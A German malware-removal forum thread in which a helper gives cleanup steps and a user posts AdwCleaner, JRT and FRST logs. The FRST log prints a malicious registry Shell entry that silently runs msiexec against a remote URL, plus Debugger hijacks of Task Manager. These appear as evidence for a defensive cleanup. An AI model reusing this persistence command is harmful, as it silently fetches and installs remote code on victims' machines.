Solltest Du Dich für eine Bereinigung entscheiden, arbeite solange mit, bis Du mein clean :daumenhoc bekommst

Schritt 1:

Downloade Dir bitte AdwCleaner auf deinen Desktop.

Schließe alle offenen Programme und Browser.
Starte die adwcleaner.exe mit einem Doppelklick.
Stimme den Nutzungsbedingungen zu.
Klicke auf Werkzeuge > Optionen und vergewissere dich, dass die folgenden Punkte ausgewählt sind:
- "Tracing" Schlüssel
- Proxy
- Winsock
- Internet Explorer Richtlinien
- Chrome Richtlinien
Bestätige die Auswahl mit Ok.
Klicke auf Suchlauf und warte bis dieser abgeschlossen ist.
Klicke nun auf Löschen (auch dann wenn AdwCleaner sagt, dass nichts gefunden wurde) und bestätige auftretende Hinweise mit Ok.
Dein Rechner wird automatisch neu gestartet. Nach dem Neustart öffnet sich eine Textdatei. Poste mir deren Inhalt mit deiner nächsten Antwort.
Die Logdatei findest du auch unter C:\AdwCleaner\AdwCleaner[Cx].txt. (x = fortlaufende Nummer).

Schritt 2:

Beende bitte Deine Schutzsoftware um eventuelle Konflikte zu vermeiden.
Bitte lade Junkware Removal Tool auf Deinen Desktop

Starte das Tool mit Doppelklick. Ab Windows Vista (oder höher) bitte mit Rechtsklick "als Administrator ausführen" starten.
Drücke eine beliebige Taste, um das Tool zu starten.
Je nach System kann der Scan eine Weile dauern.
Wenn das Tool fertig ist wird das Logfile (JRT.txt) auf dem Desktop gespeichert und automatisch geöffnet.
Bitte poste den Inhalt der JRT.txt in Deiner nächsten Antwort.

Schritt 3:

Starte die FRST.exe erneut (diesmal vom Desktop!). Setze einen Haken vor Addition.txt und drücke auf Untersuchen.
FRST erstellt nun zwei Logdateien (FRST.txt und Addition.txt).
Poste mir beide Logdateien mit deiner nächsten Antwort.

Hallo Tician und vielen Dank für deine Hilfe.

Hier die neuen Logs:

AdwCleaner (AdwCleaner[C0].txt):

Code:

# AdwCleaner v6.046 - Bericht erstellt am 25/04/2017 um 05:15:56

# Aktualisiert am 24/04/2017 von Malwarebytes

# Datenbank : 2017-04-24.1 [Server]

# Betriebssystem : Windows 10 Pro  (X64)

# Benutzername : Andy - ANDREAS-PC

# Gestartet von : C:\Users\Andy\Desktop\adwcleaner_6.046.exe

# Modus: Löschen

# Unterstützung : https://www.malwarebytes.com/support
 
 
 

***** [ Dienste ] *****
 
 
 

***** [ Ordner ] *****
 
 
 

***** [ Dateien ] *****
 

[-] Datei gelöscht: C:\Users\Public\Documents\temp.dat

[-] Datei gelöscht: C:\Users\Public\Documents\report.dat
 
 

***** [ DLL ] *****
 
 
 

***** [ WMI ] *****
 
 
 

***** [ Verknüpfungen ] *****
 
 
 

***** [ Aufgabenplanung ] *****
 
 
 

***** [ Registrierungsdatenbank ] *****
 

[-] Schlüssel gelöscht: HKLM\SOFTWARE\ScreenShot

[-] Schlüssel gelöscht: HKCU\SOFTWARE\Clients\StartMenuInternet\ChromeHTML
 
 

***** [ Browser ] *****
 
 
 

*************************
 

:: "Tracing" Schlüssel gelöscht

:: Winsock Einstellungen zurückgesetzt

:: Proxy Einstellungen zurückgesetzt

:: Internet Explorer Richtlinien gelöscht

:: Chrome Richtlinien gelöscht
 

*************************
 

C:\AdwCleaner\AdwCleaner[C0].txt - [1171 Bytes] - [25/04/2017 05:15:56]

C:\AdwCleaner\AdwCleaner[S0].txt - [1456 Bytes] - [25/04/2017 05:15:01]
 

########## EOF - C:\AdwCleaner\AdwCleaner[C0].txt - [1317 Bytes] ##########

JRT.txt:

Code:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Junkware Removal Tool (JRT) by Malwarebytes

Version: 8.1.3 (04.10.2017)

Operating System: Windows 10 Pro x64 

Ran by Andy (Administrator) on 25.04.2017 at  5:21:53,92

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 
 
 

File System: 0 
 
 
 
 

Registry: 0 
 
 
 
 
 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Scan was completed on 25.04.2017 at  5:23:23,48

End of JRT log

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

FRST.txt:

Code:

Untersuchungsergebnis von Farbar Recovery Scan Tool (FRST) (x64) Version: 23-04-2017 01

durchgeführt von Andy (Administrator) auf ANDREAS-PC (25-04-2017 05:23:46)

Gestartet von C:\Users\Andy\Desktop

Geladene Profile: Andy (Verfügbare Profile: defaultuser0 & Andy)

Platform: Windows 10 Pro Version 1703 (X64) Sprache: Deutsch (Deutschland)

Internet Explorer Version 11 (Standard-Browser: Chrome)

Start-Modus: Normal

Anleitung für Farbar Recovery Scan Tool: hxxp://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/
 

==================== Prozesse (Nicht auf der Ausnahmeliste) =================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Prozess geschlossen. Die Datei wird nicht verschoben.)
 

(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display.NvContainer\NVDisplay.Container.exe

() C:\Program Files (x86)\ASUS\AXSP\1.02.00\atkexComSvc.exe

() C:\Program Files (x86)\ASUS\AsSysCtrlService\1.00.22\AsSysCtrlService.exe

(DTS, Inc) C:\Program Files\Realtek\Audio\HDA\DTSU2PAuSrv64.exe

(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NvTelemetry\NvTelemetryContainer.exe

(Razer Inc.) C:\Program Files (x86)\Razer Chroma SDK\bin\RzSDKService.exe

() C:\Program Files (x86)\Razer\Razer Services\GSS\GameScannerService.exe

(Microsoft Corporation) C:\Windows\System32\SecurityHealthService.exe

(Microsoft Corporation) C:\Program Files\Windows Defender\MsMpEng.exe

(eVenture Limited) C:\Program Files (x86)\hide.me VPN\hidemesvc.exe

(Microsoft Corporation) C:\Windows\System32\smartscreen.exe

(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RtkNGUI64.exe

(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVBg64.exe

(Microsoft Corporation) C:\Windows\System32\wbem\WMIADAP.exe

(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe

(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NvContainer\nvcontainer.exe
 

==================== Registry (Nicht auf der Ausnahmeliste) ====================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt. Die Datei wird nicht verschoben.)
 

HKLM\...\Run: [SecurityHealth] => C:\Program Files\Windows Defender\MSASCuiL.exe [629152 2017-03-18] (Microsoft Corporation)

HKLM\...\Run: [RTHDVCPL] => C:\Program Files\Realtek\Audio\HDA\RtkNGUI64.exe [8841472 2016-06-17] (Realtek Semiconductor)

HKLM\...\Run: [RtHDVBg_DTS] => C:\Program Files\Realtek\Audio\HDA\RAVBg64.exe [1454336 2016-06-17] (Realtek Semiconductor)

HKLM\...\Run: [ShadowPlay] => "C:\WINDOWS\system32\rundll32.exe" C:\WINDOWS\system32\nvspcap64.dll,ShadowPlayOnSystemStart

HKLM\...\Run: [Malwarebytes TrayApp] => C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\mbamtray.exe [2780112 2017-01-20] (Malwarebytes)

HKLM-x32\...\Run: [Razer Synapse] => C:\Program Files (x86)\Razer\Synapse\RzSynapse.exe [596640 2017-03-02] (Razer Inc.)

HKLM-x32\...\Run: [SunJavaUpdateSched] => C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [587288 2016-12-12] (Oracle Corporation)

HKLM-x32\...\Run: [OnScreen Control] => C:\Program Files (x86)\LG Electronics\OnScreen Control\bin\OnScreenStartUpApp.exe [1785328 2015-12-14] (TODO: <Company name>)

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\Run: [Steam] => C:\Program Files (x86)\Steam\steam.exe [3019552 2017-04-21] (Valve Corporation)

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\Run: [DAEMON Tools Ultra Agent] => C:\Program Files\DAEMON Tools Ultra\DTAgent.exe [5021888 2016-12-12] (Disc Soft Ltd)

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\Run: [HP ENVY 4520 series (NET)] => C:\Program Files\HP\HP ENVY 4520 series\Bin\ScanToPCActivationApp.exe [3651080 2015-03-09] (Hewlett-Packard Development Company, LP)

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\Run: [Skype] => C:\Program Files (x86)\Skype\Phone\Skype.exe [27545048 2017-03-14] (Skype Technologies S.A.)

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\Policies\system: [Shell] explorer.exe,msiexec.exe /i hxxp://point.orangeiloveyou.com/?data=zDlkMj1WF8EdFTRXM8EcMkQLMdQLNUM8FkRSNWhSMkJSF8YcMc== /q

IFEO\DisplaySwitch.exe: [Debugger] 

IFEO\taskmgr.exe: [Debugger] 

Startup: C:\Users\Andy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hide.me VPN.lnk [2017-04-24]

ShortcutTarget: hide.me VPN.lnk -> C:\Program Files (x86)\hide.me VPN\Hide.me.exe (eVenture Limited)
 

==================== Internet (Nicht auf der Ausnahmeliste) ====================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Eintrag entfernt oder auf den Standardwert zurückgesetzt, wenn es sich um einen Registryeintrag handelt.)
 

Tcpip\Parameters: [DhcpNameServer] 192.168.2.1

Tcpip\..\Interfaces\{8d9c5742-6be7-44dc-8e04-a12f1c917124}: [DhcpNameServer] 192.168.2.1
 

Internet Explorer:

==================

BHO: Skype for Business Browser Helper -> {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} -> C:\Program Files\Microsoft Office\Office16\OCHelper.dll [2017-03-14] (Microsoft Corporation)

BHO: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files\Java\jre1.8.0_121\bin\ssv.dll [2017-02-17] (Oracle Corporation)

BHO: Microsoft OneDrive for Business Browser Helper -> {D0498E0A-45B7-42AE-A9AA-ABA463DBD3BF} -> C:\Program Files\Microsoft Office\Office16\GROOVEEX.DLL [2017-02-22] (Microsoft Corporation)

BHO: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files\Java\jre1.8.0_121\bin\jp2ssv.dll [2017-02-17] (Oracle Corporation)

BHO-x32: Skype for Business Browser Helper -> {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} -> C:\Program Files (x86)\Microsoft Office\Office16\OCHelper.dll [2015-07-31] (Microsoft Corporation)

BHO-x32: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\ssv.dll [2017-02-17] (Oracle Corporation)

BHO-x32: Microsoft OneDrive for Business Browser Helper -> {D0498E0A-45B7-42AE-A9AA-ABA463DBD3BF} -> C:\Program Files (x86)\Microsoft Office\Office16\GROOVEEX.DLL [2017-02-22] (Microsoft Corporation)

BHO-x32: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\jp2ssv.dll [2017-02-17] (Oracle Corporation)

Handler: mso-minsb.16 - {3459B272-CC19-4448-86C9-DDC3B4B2FAD3} - C:\Program Files\Microsoft Office\Office16\MSOSB.DLL [2016-11-16] (Microsoft Corporation)

Handler-x32: mso-minsb.16 - {3459B272-CC19-4448-86C9-DDC3B4B2FAD3} - C:\Program Files (x86)\Microsoft Office\Office16\MSOSB.DLL [2016-11-16] (Microsoft Corporation)

Handler: osf.16 - {5504BE45-A83B-4808-900A-3A5C36E7F77A} - C:\Program Files\Microsoft Office\Office16\MSOSB.DLL [2016-11-16] (Microsoft Corporation)

Handler-x32: osf.16 - {5504BE45-A83B-4808-900A-3A5C36E7F77A} - C:\Program Files (x86)\Microsoft Office\Office16\MSOSB.DLL [2016-11-16] (Microsoft Corporation)
 

FireFox:

========

FF Plugin: @java.com/DTPlugin,version=11.121.2 -> C:\Program Files\Java\jre1.8.0_121\bin\dtplugin\npDeployJava1.dll [2017-02-17] (Oracle Corporation)

FF Plugin: @java.com/JavaPlugin,version=11.121.2 -> C:\Program Files\Java\jre1.8.0_121\bin\plugin2\npjp2.dll [2017-02-17] (Oracle Corporation)

FF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> C:\Program Files\Microsoft Silverlight\5.1.50906.0\npctrl.dll [2017-03-09] ( Microsoft Corporation)

FF Plugin: @microsoft.com/SharePoint,version=14.0 -> C:\PROGRA~1\MICROS~1\Office16\NPSPWRAP.DLL [2015-07-31] (Microsoft Corporation)

FF Plugin-x32: @java.com/DTPlugin,version=11.121.2 -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\dtplugin\npDeployJava1.dll [2017-02-17] (Oracle Corporation)

FF Plugin-x32: @java.com/JavaPlugin,version=11.121.2 -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\plugin2\npjp2.dll [2017-02-17] (Oracle Corporation)

FF Plugin-x32: @microsoft.com/Lync,version=15.0 -> C:\Program Files (x86)\Mozilla Firefox\plugins\npmeetingjoinpluginoc.dll [Keine Datei]

FF Plugin-x32: @Microsoft.com/NpCtrl,version=1.0 -> C:\Program Files (x86)\Microsoft Silverlight\5.1.50906.0\npctrl.dll [2017-03-09] ( Microsoft Corporation)

FF Plugin-x32: @microsoft.com/SharePoint,version=14.0 -> C:\PROGRA~2\MICROS~1\Office16\NPSPWRAP.DLL [2015-07-31] (Microsoft Corporation)

FF Plugin-x32: @nvidia.com/3DVision -> C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dv.dll [2017-03-17] (NVIDIA Corporation)

FF Plugin-x32: @nvidia.com/3DVisionStreaming -> C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dvstreaming.dll [2017-03-17] (NVIDIA Corporation)

FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.32.7\npGoogleUpdate3.dll [2017-04-22] (Google Inc.)

FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.32.7\npGoogleUpdate3.dll [2017-04-22] (Google Inc.)

FF Plugin-x32: @videolan.org/vlc,version=2.2.4 -> C:\Program Files (x86)\VideoLAN\VLC\npvlc.dll [2016-06-01] (VideoLAN)
 

Chrome: 

=======

CHR Session Restore: Default -> ist aktiviert.

CHR Profile: C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default [2017-04-25]

CHR Extension: (Google Präsentationen) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek [2017-04-22]

CHR Extension: (Google Docs) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2017-04-22]

CHR Extension: (Google Drive) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2017-04-22]

CHR Extension: (YouTube) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2017-04-22]

CHR Extension: (uBlock Origin) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\cjpalhdlnbpafiamejdnhcphjbkeiagm [2017-04-22]

CHR Extension: (Google Tabellen) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap [2017-04-22]

CHR Extension: (Google Docs Offline) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2017-04-22]

CHR Extension: (Chrome Web Store-Zahlungen) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2017-04-22]

CHR Extension: (uMatrix) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\ogfcmafjalglgifnmanfmnieipoejdcf [2017-04-22]

CHR Extension: (Google Mail) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2017-04-22]

CHR Extension: (Chrome Media Router) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm [2017-04-25]
 

==================== Dienste (Nicht auf der Ausnahmeliste) ====================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

R2 asComSvc; C:\Program Files (x86)\ASUS\AXSP\1.02.00\atkexComSvc.exe [936728 2015-05-08] ()

R2 AsSysCtrlService; C:\Program Files (x86)\ASUS\AsSysCtrlService\1.00.22\AsSysCtrlService.exe [1360016 2014-04-24] () [Datei ist nicht signiert]

S3 Disc Soft Ultra Bus Service; C:\Program Files\DAEMON Tools Ultra\DiscSoftBusServiceUltra.exe [4854464 2016-12-12] (Disc Soft Ltd)

R2 DTSAudioSvc; C:\Program Files\Realtek\Audio\HDA\DTSU2PAuSrv64.exe [249328 2016-06-17] (DTS, Inc)

R2 hmevpnsvc; C:\Program Files (x86)\hide.me VPN\hidemesvc.exe [138960 2017-04-09] (eVenture Limited)

S2 MBAMService; C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe [4355024 2017-01-20] (Malwarebytes)

R2 NvContainerLocalSystem; C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [492480 2017-03-28] (NVIDIA Corporation)

S3 NvContainerNetworkService; C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [492480 2017-03-28] (NVIDIA Corporation)

R2 NVDisplay.ContainerLocalSystem; C:\Program Files\NVIDIA Corporation\Display.NvContainer\NVDisplay.Container.exe [464440 2017-03-17] (NVIDIA Corporation)

R2 NvTelemetryContainer; C:\Program Files (x86)\NVIDIA Corporation\NvTelemetry\NvTelemetryContainer.exe [425408 2017-03-28] (NVIDIA Corporation)

R2 Razer Chroma SDK Service; C:\Program Files (x86)\Razer Chroma SDK\bin\RzSDKService.exe [69768 2017-03-21] (Razer Inc.)

R2 Razer Game Scanner Service; C:\Program Files (x86)\Razer\Razer Services\GSS\GameScannerService.exe [189264 2016-09-25] ()

S3 Sense; C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe [3913064 2017-03-20] (Microsoft Corporation)

S3 WdNisSvc; C:\Program Files\Windows Defender\NisSrv.exe [342264 2017-03-18] (Microsoft Corporation)

R2 WinDefend; C:\Program Files\Windows Defender\MsMpEng.exe [102816 2017-03-18] (Microsoft Corporation)

S3 wlpasvc; C:\Windows\System32\lpasvc.dll [1295360 2017-03-18] (Microsoft Corporation)
 

===================== Treiber (Nicht auf der Ausnahmeliste) ======================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

R1 AsIO; C:\Windows\SysWow64\drivers\AsIO.sys [15232 2015-05-08] ()

S3 iaLPSS2i_GPIO2_BXT_P; C:\Windows\System32\drivers\iaLPSS2i_GPIO2_BXT_P.sys [85504 2017-03-18] (Intel Corporation)

S3 iaLPSS2i_I2C_BXT_P; C:\Windows\System32\drivers\iaLPSS2i_I2C_BXT_P.sys [168448 2017-03-18] (Intel Corporation)

R3 nvlddmkm; C:\Windows\System32\DriverStore\FileRepository\nv_desktop_ref4i.inf_amd64_cec9c0a9e8098939\nvlddmkm.sys [14574640 2017-03-17] (NVIDIA Corporation)

S3 NvStreamKms; C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamKms.sys [30144 2017-03-28] (NVIDIA Corporation)

R3 nvvad_WaveExtensible; C:\Windows\system32\drivers\nvvad64v.sys [47552 2017-03-28] (NVIDIA Corporation)

R3 nvvhci; C:\Windows\System32\drivers\nvvhci.sys [57792 2017-03-28] (NVIDIA Corporation)

R3 rt640x64; C:\Windows\System32\drivers\rt640x64.sys [604160 2017-03-18] (Realtek                                            )

R3 rzendpt; C:\Windows\System32\drivers\rzendpt.sys [51736 2016-06-23] (Razer Inc)

R3 rzp1endpt; C:\Windows\System32\drivers\rzp1endpt.sys [51736 2016-06-23] (Razer Inc)

R2 rzpmgrk; C:\WINDOWS\system32\drivers\rzpmgrk.sys [44144 2016-09-17] (Razer, Inc.)

R2 rzpnk; C:\WINDOWS\system32\drivers\rzpnk.sys [137840 2016-10-08] (Razer, Inc.)

R3 rzvmouse; C:\Windows\System32\drivers\rzvmouse.sys [43544 2016-06-23] (Razer Inc)

S3 SDFRd; C:\Windows\System32\drivers\SDFRd.sys [31128 2017-03-18] ()

S0 WdBoot; C:\Windows\System32\drivers\WdBoot.sys [44632 2017-03-18] (Microsoft Corporation)

R0 WdFilter; C:\Windows\System32\drivers\WdFilter.sys [294816 2017-03-18] (Microsoft Corporation)

S3 WdNisDrv; C:\Windows\System32\Drivers\WdNisDrv.sys [121248 2017-03-18] (Microsoft Corporation)
 

==================== NetSvcs (Nicht auf der Ausnahmeliste) ===================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

NETSVCx32: TokenBroker -> C:\Windows\SysWOW64\TokenBroker.dll (Microsoft Corporation)
 

==================== Ein Monat: Erstellte Dateien und Ordner ========
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)
 

2017-04-25 05:23 - 2017-04-25 05:23 - 00000545 _____ C:\Users\Andy\Desktop\JRT.txt

2017-04-25 05:19 - 2017-04-25 05:19 - 01663672 _____ (Malwarebytes) C:\Users\Andy\Desktop\JRT.exe

2017-04-25 05:09 - 2017-04-25 05:09 - 04102600 _____ C:\Users\Andy\Desktop\adwcleaner_6.046.exe

2017-04-25 05:08 - 2017-04-25 05:15 - 00000000 ____D C:\AdwCleaner

2017-04-24 01:35 - 2017-04-24 01:35 - 00023577 _____ C:\Users\Andy\Desktop\Malwarebytes infizierter Scan 3.zip

2017-04-24 01:05 - 2017-04-24 01:06 - 00004739 _____ C:\Users\Andy\Desktop\vorschau.txt

2017-04-24 00:26 - 2017-04-24 01:15 - 00053918 _____ C:\Users\Andy\Desktop\Addition.txt

2017-04-24 00:25 - 2017-04-25 05:23 - 00015385 _____ C:\Users\Andy\Desktop\FRST.txt

2017-04-24 00:24 - 2017-04-25 05:23 - 00000000 ____D C:\FRST

2017-04-24 00:22 - 2017-04-24 00:22 - 02426368 _____ (Farbar) C:\Users\Andy\Desktop\FRST64.exe

2017-04-23 23:26 - 2017-04-23 23:26 - 00001438 _____ C:\Users\Andy\Desktop\scan5.txt

2017-04-23 23:26 - 2017-04-22 04:31 - 00615853 _____ C:\Users\Andy\Desktop\Malwarebytes infizierter Scan 3.txt

2017-04-22 05:04 - 2017-04-22 05:04 - 00004632 _____ C:\Windows\System32\Tasks\Adobe Flash Player PPAPI Notifier

2017-04-22 05:03 - 2017-04-22 05:06 - 00000000 ____D C:\Users\Andy\AppData\Local\Adobe

2017-04-22 04:39 - 2017-04-22 04:39 - 00002336 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk

2017-04-22 04:38 - 2017-04-22 05:13 - 00000000 ____D C:\Users\Andy\AppData\Local\Google

2017-04-22 04:38 - 2017-04-22 04:39 - 00000000 ____D C:\Program Files (x86)\Google

2017-04-22 04:38 - 2017-04-22 04:38 - 00003628 _____ C:\Windows\System32\Tasks\GoogleUpdateTaskMachineUA

2017-04-22 04:38 - 2017-04-22 04:38 - 00003504 _____ C:\Windows\System32\Tasks\GoogleUpdateTaskMachineCore

2017-04-22 04:19 - 2017-04-21 03:23 - 00017381 _____ C:\Users\Andy\Desktop\scan3.txt

2017-04-21 03:19 - 2017-04-21 03:19 - 00002346 _____ C:\Users\Andy\Desktop\scan2.txt

2017-04-20 16:58 - 2017-04-20 16:58 - 00000000 _____ C:\Windows\SysWOW64\33

2017-04-20 16:58 - 2017-04-20 16:58 - 00000000 _____ C:\Windows\SysWOW64\11

2017-04-20 05:34 - 2017-04-20 05:34 - 00000000 ____D C:\Windows\LastGood.Tmp

2017-04-20 05:34 - 2017-03-28 05:32 - 00153536 _____ (NVIDIA Corporation) C:\Windows\system32\nvaudcap64v.dll

2017-04-20 05:34 - 2017-03-28 05:32 - 00127424 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvaudcap32v.dll

2017-04-18 06:54 - 2017-04-18 07:16 - 00000000 ____D C:\Users\Andy\Downloads\JoyToKey_en

2017-04-17 16:59 - 2017-04-17 16:59 - 1153666585 _____ C:\Windows\MEMORY.DMP

2017-04-17 16:59 - 2017-04-17 16:59 - 00682124 _____ C:\Windows\Minidump\041717-9796-01.dmp

2017-04-17 16:59 - 2017-04-17 16:59 - 00000000 ____D C:\Windows\Minidump

2017-04-17 16:58 - 2017-04-17 16:58 - 00068288 _____ C:\Windows\system32\Drivers\VBoxDrv.sys

2017-04-16 17:30 - 2017-04-16 17:30 - 00000000 ____D C:\Users\Andy\AppData\Local\DBG

2017-04-15 18:10 - 2017-04-15 18:10 - 00205035 _____ C:\Users\Andy\Documents\Holzmann-Türen.pdf

2017-04-14 03:38 - 2017-04-14 03:38 - 23680512 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 23675392 _____ (Microsoft Corporation) C:\Windows\system32\edgehtml.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 20505600 _____ (Microsoft Corporation) C:\Windows\SysWOW64\edgehtml.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 19334144 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 12787200 _____ (Microsoft Corporation) C:\Windows\system32\ieframe.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 11869696 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieframe.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 08319392 _____ (Microsoft Corporation) C:\Windows\system32\ntoskrnl.exe

2017-04-14 03:38 - 2017-04-14 03:38 - 08247296 _____ (Microsoft Corporation) C:\Windows\system32\Chakra.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 07904784 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Media.Protection.PlayReady.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 06756920 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Media.Protection.PlayReady.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 06296064 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Chakra.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 05477088 _____ (Microsoft Corporation) C:\Windows\system32\OneCoreUAPCommonProxyStub.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 03672064 _____ (Microsoft Corporation) C:\Windows\system32\win32kfull.sys

2017-04-14 03:38 - 2017-04-14 03:38 - 02957824 _____ (Microsoft Corporation) C:\Windows\SysWOW64\win32kfull.sys

2017-04-14 03:38 - 2017-04-14 03:38 - 02444184 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\dxgkrnl.sys

2017-04-14 03:38 - 2017-04-14 03:38 - 02085280 _____ (Microsoft Corporation) C:\Windows\system32\UpdateAgent.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01760264 _____ (Microsoft Corporation) C:\Windows\system32\WindowsCodecs.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01657344 _____ (Microsoft Corporation) C:\Windows\system32\XpsPrint.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01605632 _____ (Microsoft Corporation) C:\Windows\system32\quartz.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01604312 _____ (Microsoft Corporation) C:\Windows\system32\gdi32full.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01518088 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WindowsCodecs.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01506816 _____ (Microsoft Corporation) C:\Windows\SysWOW64\quartz.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01411640 _____ (Microsoft Corporation) C:\Windows\SysWOW64\gdi32full.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01356800 _____ (Microsoft Corporation) C:\Windows\system32\audiosrv.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01323880 _____ (Microsoft Corporation) C:\Windows\system32\ole32.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01147296 _____ (Microsoft Corporation) C:\Windows\system32\hvix64.exe

2017-04-14 03:38 - 2017-04-14 03:38 - 01060352 _____ (Microsoft Corporation) C:\Windows\SysWOW64\XpsPrint.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01024416 _____ (Microsoft Corporation) C:\Windows\system32\hvax64.exe

2017-04-14 03:38 - 2017-04-14 03:38 - 00986592 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ole32.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00805376 _____ (Microsoft Corporation) C:\Windows\system32\ieproxy.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00750560 _____ (Microsoft Corporation) C:\Windows\system32\fontdrvhost.exe

